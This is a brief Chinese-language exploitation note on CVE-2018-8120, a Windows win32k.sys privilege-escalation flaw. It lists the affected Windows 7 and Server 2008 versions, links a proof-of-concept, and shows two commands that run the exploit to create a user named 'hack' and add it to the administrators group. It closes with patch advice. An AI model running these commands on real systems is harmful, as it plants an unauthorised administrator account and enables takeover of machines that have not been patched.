CVE-2018-8120

简介

部分版本Windows系统win32k.sys组件的NtUserSetImeInfoEx()系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码。

影响版本

Windows 7 for 32-bit Systems Service Pack 1   
Windows 7 for x64-based Systems Service Pack 1       
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for Itanium-Based Systems ServicePack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 R2 for Itanium-Based Systems ServicePack 1
Windows Server 2008 R2 for x64-based Systems ServicePack 1
Windows Server 2008 R2 for x64-based Systems ServicePack 1

POC下载地址

https://github.com/alpha1ab/CVE-2018-8120

创建用户

CVE-2018-8120.exe "net user hack hack /add"

使用户加入administrators组

CVE-2018-8120.exe "net localgroup administrators hack /add"

可以发现用户已经是administrators组了

修复建议

打补丁

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120